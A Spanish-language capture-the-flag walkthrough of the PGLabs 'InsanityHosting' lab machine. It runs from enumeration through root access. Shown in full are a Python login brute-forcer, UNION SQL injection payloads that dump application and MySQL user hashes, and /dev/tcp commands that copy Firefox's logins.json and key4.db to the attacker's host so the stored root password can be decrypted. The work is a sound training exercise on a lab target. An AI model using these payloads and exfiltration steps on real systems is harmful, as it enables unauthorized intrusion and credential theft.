Table of Contents
PGLabs: InsanityHosting Writeup
Welcome to my detailed writeup of the hard difficulty machine “InsanityHosting” on PGLabs. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 192.168.178.124 --ulimit 5000 -g
2192.168.178.124 -> [21,22,80]
1nmap -p21,22,80 -sCV 192.168.178.124 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 02:40 CET
3Nmap scan report for 192.168.178.124
4Host is up (0.032s latency).
5
6PORT STATE SERVICE VERSION
721/tcp open ftp vsftpd 3.0.2
8| ftp-syst:
9| STAT:
10| FTP server status:
11| Connected to ::ffff:192.168.45.167
12| Logged in as ftp
13| TYPE: ASCII
14| No session bandwidth limit
15| Session timeout in seconds is 300
16| Control connection is plain text
17| Data connections will be plain text
18| At session startup, client count was 2
19| vsFTPd 3.0.2 - secure, fast, stable
20|_End of status
21| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22|_Can't get directory listing: ERROR
2322/tcp open ssh OpenSSH 7.4 (protocol 2.0)
24| ssh-hostkey:
25| 2048 85:46:41:06:da:83:04:01:b0:e4:1f:9b:7e:8b:31:9f (RSA)
26| 256 e4:9c:b1:f2:44:f1:f0:4b:c3:80:93:a9:5d:96:98:d3 (ECDSA)
27|_ 256 65:cf:b4:af:ad:86:56:ef:ae:8b:bf:f2:f0:d9:be:10 (ED25519)
2880/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.2.33)
29|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.2.33
30|_http-title: Insanity - UK and European Servers
31| http-methods:
32|_ Potentially risky methods: TRACE
33Service Info: OS: Unix
34
35Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
36Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.178.124 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 02:40 CET
4Nmap scan report for 192.168.178.124
5Host is up (0.056s latency).
6Not shown: 1495 open|filtered udp ports (no-response)
7PORT STATE SERVICE
827209/udp filtered unknown
931882/udp filtered unknown
1032773/udp filtered sometimes-rpc10
1144253/udp filtered unknown
1244946/udp filtered unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
FTP Enumeration
Vemos que existe un servicio FTP versión vsftpd 3.0.2
, esta versión aparentemente tiene dos vulnerabilidades que haya encontrado por Google, una de denegación de servicio y otra para poder saltarse el acceso restringido a los recursos.
Igualmente, según el escaneo de nmap
hemos visto que podemos iniciar sesión de forma anónima a este servicio.
1ftp anonymous@192.168.178.124
2Connected to 192.168.178.124.
3220 (vsFTPd 3.0.2)
4331 Please specify the password.
5Password:
6230 Login successful.
7Remote system type is UNIX.
8Using binary mode to transfer files.
9ftp> ls
10229 Entering Extended Passive Mode (|||22007|).
11ftp: Can't connect to `192.168.178.124:22007': No route to host
12200 EPRT command successful. Consider using EPSV.
13150 Here comes the directory listing.
14drwxr-xr-x 2 0 0 6 Apr 01 2020 pub
15226 Directory send OK.
Vemos un recurso pub
el cual está vacío.
1ftp> ls -la
2200 EPRT command successful. Consider using EPSV.
3150 Here comes the directory listing.
4drwxr-xr-x 2 0 0 6 Apr 01 2020 .
5drwxr-xr-x 3 0 0 17 Aug 16 2020 ..
6226 Directory send OK.
No puedo subir archivos, así que por ahora no podemos hacer mucha cosa.
1ftp> put test.txt
2local: test.txt remote: test.txt
3229 Entering Extended Passive Mode (|||21087|).
4ftp: Can't connect to `192.168.178.124:21087': No route to host
5200 EPRT command successful. Consider using EPSV.
6550 Permission denied.
HTTP Enumeration
whatweb
nos reporta un dominio insanityhosting.vm
, lo añadimos al /etc/hosts
1whatweb http://192.168.178.124
2http://192.168.178.124 [200 OK] Apache[2.4.6], Bootstrap, Country[RESERVED][ZZ], Email[hello@insanityhosting.vm], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/7.2.33], IP[192.168.178.124], JQuery, PHP[7.2.33], Script, Title[Insanity - UK and European Servers], X-UA-Compatible[IE=edge]
Así se ve el sitio web principal.
En el sitio web principal vemos una redirección a un recurso /monitoring
, pero primero vamos a fuzzear por recursos interesantes y encontramos varias cosas.
1feroxbuster -u http://insanityhosting.vm/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2....
3301 GET 7l 20w 239c http://insanityhosting.vm/data => http://insanityhosting.vm/data/
4301 GET 7l 20w 238c http://insanityhosting.vm/css => http://insanityhosting.vm/css/
5301 GET 7l 20w 237c http://insanityhosting.vm/js => http://insanityhosting.vm/js/
6301 GET 7l 20w 238c http://insanityhosting.vm/img => http://insanityhosting.vm/img/
7301 GET 7l 20w 242c http://insanityhosting.vm/webmail => http://insanityhosting.vm/webmail/
8301 GET 7l 20w 240c http://insanityhosting.vm/fonts => http://insanityhosting.vm/fonts/
9301 GET 7l 20w 245c http://insanityhosting.vm/monitoring => http://insanityhosting.vm/monitoring/
10200 GET 169l 373w 5022c http://insanityhosting.vm/js/default-assets/active.js
11301 GET 7l 20w 239c http://insanityhosting.vm/news => http://insanityhosting.vm/news/
/webmail
Basic numeration
En el recurso /webmail
vemos un panel de autenticación de un webmail llamado SquirrelMail
de versión 1.4.22
.
SquirrelMail is a project that aims to provide both a web-based email client and a proxy server for the IMAP protocol.
Encontramos un exploit de tipo RCE pero necesitamos credenciales de usuario las cuales por ahora no disponemos de ellas.
Buscando credenciales por defecto no encontré nada, así que por ahora a seguir enumerando.
/monitoring
Basic Enumeration
Vemos un panel de autenticación un poco primitivo, por lo cual probablemente no forme parte de ningún CMS ni proyecto open-source.
También podemos ver que se está utilizando PHP.
/news
Basic Enumeration
Vemos un mensaje diciendo que han creado un servicio gratuito de monitorización, todavía no se para que, pero vemos también que probablemente exista un usuario en la plataforma llamado otis
Creating bruteforce script for /monitoring
He creado un pequeño script para hacer fuerza bruta a este panel de control ya que no he encontrado nada, ni tampoco he visto que el panel de inicio de sesión sea vulnerable a SQL Injection.
El script es el siguiente.
1#!/usr/bin/python3
2import requests
3
4LOGIN_PAGE_LENGTH = 4848
5USERNAME = "otis"
6PASSWORD_DICTIONARY = "/usr/share/wordlists/rockyou.txt"
7LOGIN_ENDPOINT = "http://insanityhosting.vm/monitoring/index.php"
8
9def brute():
10 with open(PASSWORD_DICTIONARY, "r", encoding="latin-1") as file:
11 for line in file:
12 pwd = line.strip()
13 r = requests.post(LOGIN_ENDPOINT, data={"username": USERNAME, "password": pwd})
14 if LOGIN_PAGE_LENGTH != len(r.text):
15 print(f"[+] {USERNAME}:{pwd}")
16if __name__ == "__main__":
17 brute()
Y vemos unas credenciales válidas.
1python3 brute.py
2[+] otis:123456
Podemos iniciar sesión y vemos lo siguiente.
Podemos agregar nuestra máquina y vemos que al cabo de unos segundos recibimos un paquete ICMP, con esto se deduce que una máquina está activa o no.
1sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
403:33:01.001550 IP insanityhosting.vm > 192.168.45.167: ICMP echo request, id 8441, seq 1, length 64
503:33:01.001605 IP 192.168.45.167 > insanityhosting.vm: ICMP echo reply, id 8441, seq 1, length 64
Lateralmente, podemos comprobar que esta credencial es válida para el servicio de SquirrelMail pero no vemos nada..
Probando el exploit que hemos visto antes vemos que parece que el servicio no es vulnerable.
1./exploit.sh htp://192.168.178.124/webmail
2
3
4[*] Enter SquirrelMail user credentials
5user: otis
6pass:
7
8[*] Logging in to SquirrelMail at htp://192.168.178.124/webmail
9
10
11[*] Uploading Sendmail config
12Something went wrong. Failed to upload the sendmail file.
Reflected SQL Injection in SquirrelMail
Sin embargo nos damos cuenta de una cosa interesante, si editamos uno de los hosts ya añadimos y forzamos un error.
Se mandará un correo de forma de traza para reportar que este host está caído, y vemos algo interesante, registros de los varios “pings” que se ha hecho al host, pero vemos que los registros están en una especie de formato “virgen”
Viendo el formato anterior, supuse que se está haciendo una consulta a base de datos para insertar el estado del host, y luego se debe de estar haciendo otra consulta para recuperar los datos y después mandar el correo, por lo cual podemos intentar una inyección SQL simple para ver todos los registros.
Sin embargo, tenemos que usar comillas dobles ya que parece que la consulta se está haciendo con estas comillas.
Cambiamos el nombre del host…
Y estábamos en lo cierto, este parámetro es SQL Inyectable por lo cual nos podemos aprovechar de esto para poder recuperar información de la base de datos.
Como es una inyección un poco rara, no vamos a utilizar sqlmap
, por lo cual primero vamos a enumerar cual es el DBMS que se está utilizando.
Lo bueno es que sabemos cuantas columnas se están utilizando ya que parece que se nos está devolviendo la respuesta íntegra del servidor, por lo cual tenemos 4 columnas, igualmente lo debemos de comprobar.
Ahora vamos a comprobar el DBMS, vamos a probar con @@version
la cual reporta la versión utilizada en MySQL
que es la DBMS mas típica.
Ahora que sabemos el DBMS, podemos continuar, por lo cual vamos a ver que bases de datos hay consultando la tabla information_schema.schemata
.
Como se nos está reportando la consulta entera, no hace falta que utilicemos group_concat()
para mostrar todos los resultados en una misma línea.
Payload:
test" UNION SELECT SCHEMA_NAME,2,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
Aunque obviamente, también podemos hacerlo.
Payload:
test" UNION SELECT group_concat(SCHEMA_NAME),2,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
La base de datos que me interesa es la de monitoring
, así que vamos a hacer uso de la tabla information_schema.tables
para ver las tablas de esta base de datos.
Payload:
test" UNION SELECT group_concat(TABLE_NAME),2,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='monitoring'-- -
Vemos vamos tablas, la tabla users
es la que mas interesante se ve, por lo cual vamos a ver que columnas tiene esta tabla haciendo uso de la tabla information_schema.columns
.
Payload:
test" UNION SELECT group_concat(TABLE_NAME, ' - ', COLUMN_NAME),2,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='monitoring' AND table_name='users' -- -
Vemos los campos que nos interesa, por lo cual ahora simplemente tenemos que recuperarlos.
Payload:
test" UNION SELECT group_concat(email,':',username, ':',password,'//'),2,3,4 FROM monitoring.users-- -
Vemos que tenemos los hashes de un usuario admin
, de un usuario nicholas
y de otis
que supuestamente este hash correspondería a la cadena 123456
.
Revisando estos hashes en hashes.com vemos que solo se ha encontrado el hash de otis
y podemos ver que corresponde a su credencial, 123456
Dumping mysql.user
and getting SSH session
Entonces, ¿estamos en el mismo punto?
Realmente sí, pero aun nos queda comprobar los usuarios del servicio MySQL, estos usuarios se almacenan en la tabla mysql.user
, aquí se almacenan los usuarios y una columna llamada authentication_string
que es el hash del usuario en formato SHA-1.
Leer para mas información
Payload:
test" UNION SELECT group_concat(user,':',authentication_string,'//'),2,3,4 FROM mysql.user-- -
Foothold
Vemos un hash para un usuario llamado elliot
, comprobando este hash en hashes.com vemos que corresponde a la credencial elliot123
Y con este combo, conseguimos acceso mediante el SSH.
1sshpass -p 'elliot123' ssh elliot@192.168.178.124
2[elliot@insanityhosting ~]$ id
3uid=1003(elliot) gid=1003(elliot) groups=1003(elliot)
Vemos varios usuarios a nivel de sistema.
1[elliot@insanityhosting ~]$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3admin:x:1000:1000::/home/admin:/bin/bash
4nicholas:x:1002:1002::/home/nicholas:/bin/bash
5elliot:x:1003:1003::/home/elliot:/bin/bash
6monitor:x:1004:1004::/home/monitor:/bin/bash
Podemos ver la flag de usuario.
1[elliot@insanityhosting ~]$ cat local.txt
295065d8e0b86...
Privilege Escalation
¿Firefox?
Rápidamente vi una cosa extraña, el directorio .mozilla
, esto significa que esta máquina tiene instalada el navegador Firefox, un tanto extraño para un CTF, ¿no?
Efectivamente, firefox
está instalado.
1[elliot@insanityhosting bin]$ which firefox
2/usr/bin/firefox
Con firefox -v
podemos ver la versión de Firefox instalada pero no encontré ningún exploit público para esta versión.
1[elliot@insanityhosting bin]$ firefox -v
2Failed to open connection to "session" message bus: Unable to autolaunch a dbus-daemon without a $DISPLAY for X11
3Running without a11y support!
4Mozilla Firefox 68.11.0esr
Dumping Firefox stored credentials
Esto me recordó a la recuperación de evidencias en la foresia digital, así que, ¿por qué no probamos a ver las cookies y las contraseñas almacenadas en firefox?
The user’s profile for Firefox is kept under
~/.mozilla/firefox/*.default/
. It contains cache, addons, user settings, etc.
Vemos varios archivos interesantes en este perfil.
1[elliot@insanityhosting esmhp32w.default-default]$ ls -la
2total 11784
3drwx------. 8 elliot elliot 4096 Aug 16 2020 .
4drwx------. 4 elliot elliot 102 Aug 16 2020 ..
5-rw-------. 1 elliot elliot 45 Aug 16 2020 addons.json
6-rw-------. 1 elliot elliot 32349 Aug 16 2020 addonStartup.json.lz4
7-rw-rw-r--. 1 elliot elliot 0 Aug 16 2020 AlternateServices.txt
8drwx------. 2 elliot elliot 6 Aug 16 2020 bookmarkbackups
9-rw-------. 1 elliot elliot 204 Aug 16 2020 broadcast-listeners.json
10-rw-------. 1 elliot elliot 229376 Aug 16 2020 cert9.db
11-rw-------. 1 elliot elliot 398 Aug 16 2020 cert_override.txt
12-rw-------. 1 elliot elliot 167 Aug 16 2020 compatibility.ini
13-rw-------. 1 elliot elliot 939 Aug 16 2020 containers.json
14-rw-r--r--. 1 elliot elliot 229376 Aug 16 2020 content-prefs.sqlite
15-rw-r--r--. 1 elliot elliot 524288 Aug 16 2020 cookies.sqlite
16drwx------. 3 elliot elliot 66 Aug 16 2020 datareporting
17-rw-------. 1 elliot elliot 1302 Aug 16 2020 extension-preferences.json
18drwx------. 2 elliot elliot 8192 Aug 16 2020 extensions
19-rw-------. 1 elliot elliot 360103 Aug 16 2020 extensions.json
20-rw-r--r--. 1 elliot elliot 5242880 Aug 16 2020 favicons.sqlite
21-rw-------. 1 elliot elliot 560 Aug 16 2020 handlers.json
22-rw-------. 1 elliot elliot 294912 Aug 16 2020 key4.db
23-rw-------. 1 elliot elliot 575 Aug 16 2020 logins.json
24-rw-------. 1 elliot elliot 30 Aug 16 2020 notificationstore.json
25-rw-rw-r--. 1 elliot elliot 0 Aug 16 2020 .parentlock
26-rw-r--r--. 1 elliot elliot 98304 Aug 16 2020 permissions.sqlite
27-rw-------. 1 elliot elliot 478 Aug 16 2020 pkcs11.txt
28-rw-r--r--. 1 elliot elliot 5242880 Aug 16 2020 places.sqlite
29-rw-------. 1 elliot elliot 14957 Aug 16 2020 prefs.js
30drwx------. 2 elliot elliot 4096 Aug 16 2020 saved-telemetry-pings
31-rw-------. 1 elliot elliot 2552 Aug 16 2020 search.json.mozlz4
32-rw-rw-r--. 1 elliot elliot 0 Aug 16 2020 SecurityPreloadState.txt
33-rw-------. 1 elliot elliot 288 Aug 16 2020 sessionCheckpoints.json
34drwx------. 2 elliot elliot 68 Aug 16 2020 sessionstore-backups
35-rw-------. 1 elliot elliot 3520 Aug 16 2020 sessionstore.jsonlz4
36-rw-rw-r--. 1 elliot elliot 702 Aug 16 2020 SiteSecurityServiceState.txt
37drwxr-xr-x. 3 elliot elliot 23 Aug 16 2020 storage
38-rw-r--r--. 1 elliot elliot 512 Aug 16 2020 storage.sqlite
39-rw-------. 1 elliot elliot 50 Aug 16 2020 times.json
40-rw-rw-r--. 1 elliot elliot 0 Aug 16 2020 TRRBlacklist.txt
41-rw-r--r--. 1 elliot elliot 98304 Aug 16 2020 webappsstore.sqlite
42-rw-------. 1 elliot elliot 139 Aug 16 2020 xulstore.json
Los que mas nos interesan soncookies.sqlite
, key4.db
y logins.json
Según el propio soporte de Firefox, tenemos el archivo logins.json
que son las credenciales almacenadas encriptadas, y también tenemos un archivo key4.db
el cual contiene la clave utilizada para encriptar estos combos, por lo cual nos lo vamos a copiar a nuestra máquina.
Para ello podemos ponernos en escucha con nc
por el puerto 8081 en nuestra máquina atacante.
1nc -lvnp 8081 > logins.json
2listening on [any] 8081 ...
De esta forma podemos transferir el archivo.
1[elliot@insanityhosting esmhp32w.default-default]$ cat logins.json > /dev/tcp/192.168.45.167/8081
Luego podemos comprobar el hash MD5 de los archivos para ver que coincide y que el archivo no ha perdido su integridad.
1[elliot@insanityhosting esmhp32w.default-default]$ md5sum logins.json
2f448760874a5af222695b7dd53143c99 logins.json
Y vemos que en nuestra máquina coincide.
1md5sum logins.json
2f448760874a5af222695b7dd53143c99 logins.json
Hacemos lo mismo para el archivo key4.db
1cat key4.db > /dev/tcp/192.168.45.167/8081
Decrypting Firefox stored credentials && Abusing password Reuse
Y ya tenemos los archivos que queríamos, key4.db
y el logins.json
, ahora podemos utilizar esta herramienta para desencriptar las credenciales de logins.json
.
Para usar esta herramienta vemos que nos pide un archivo profile.ini
que realmente es una errata y es el profiles.ini
de firefox.
1python3 firefox_decrypt.py ./
22025-01-30 04:40:20,898 - WARNING - profile.ini not found in ./
32025-01-30 04:40:20,898 - WARNING - Continuing and assuming './' is a profile location
42025-01-30 04:40:20,899 - ERROR - Couldn't initialize NSS, maybe './' is not a valid profile?
En la máquina víctima, retrocedemos un directorio y nos transmitimos este archivo.
1[elliot@insanityhosting firefox]$ cat profiles.ini > /dev/tcp/192.168.45.167/8081
Ahora con firefox_decrypt.py
vemos que intenta buscar estos archivos en un directorio llamado como el perfil.
1python3 firefox_decrypt.py ./
2Select the Mozilla profile you wish to decrypt
31 -> wqqe31s0.default
42 -> esmhp32w.default-default
52
62025-01-30 04:40:31,206 - ERROR - Profile location './esmhp32w.default-default' is not a directory. Has profiles.ini been tampered with?
Vamos a la máquina víctima y vamos a crear un comprimido con todo el contenido del directorio del perfil que queremos.
1tar -cvf profile.tar.gz esmhp32w.default-default/
Nos transmitimos este archivo a nuestra máquina víctima.
1cat profile.tar-gz > /dev/tcp/192.168.45.167/8081
Ahora en nuestra máquina, extraemos este comprimido.
1tar -xvf profile.tar.gz
Y ahora sí que podemos utilizar el script, seleccionar el perfil y ver las credenciales desencriptadas.
1python3 firefox_decrypt.py ./
2Select the Mozilla profile you wish to decrypt
31 -> wqqe31s0.default
42 -> esmhp32w.default-default
52
6
7Website: https://localhost:10000
8Username: 'root'
9Password: 'S8Y389KJqWpJuSwFqFZHwfZ3GnegUa'
¿Podríamos haber subido este script a la máquina víctima y hacer este proceso de una forma mas fácil? Sí, efectivamente, pero aquí nos gusta complicarnos la vida porque no somos lammers.
Con la una única credencial encontrada podemos migrar al usuario root
en la máquina víctima.
1[elliot@insanityhosting firefox]$ su root
2Password:
3[root@insanityhosting firefox]# id
4uid=0(root) gid=0(root) groups=0(root)
Podemos ver la flag de root
1[root@insanityhosting ~]# cat proof.txt
2311c3a3bb29b7e...
¡Y ya estaría!
Happy Hacking! 🚀
#PGLabs #InsanityHosting #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #FTP Enumeration #HTTP Enumeration #Python Scripting #Scripting #Bruteforce #Credentials Reuse #SQL Injection #Reflected SQL Injection #Hash Cracking #Password Cracking #Cracking #Dumping Firefox Logins.json and Key4.db #Decrypting Firefox Stored Credentials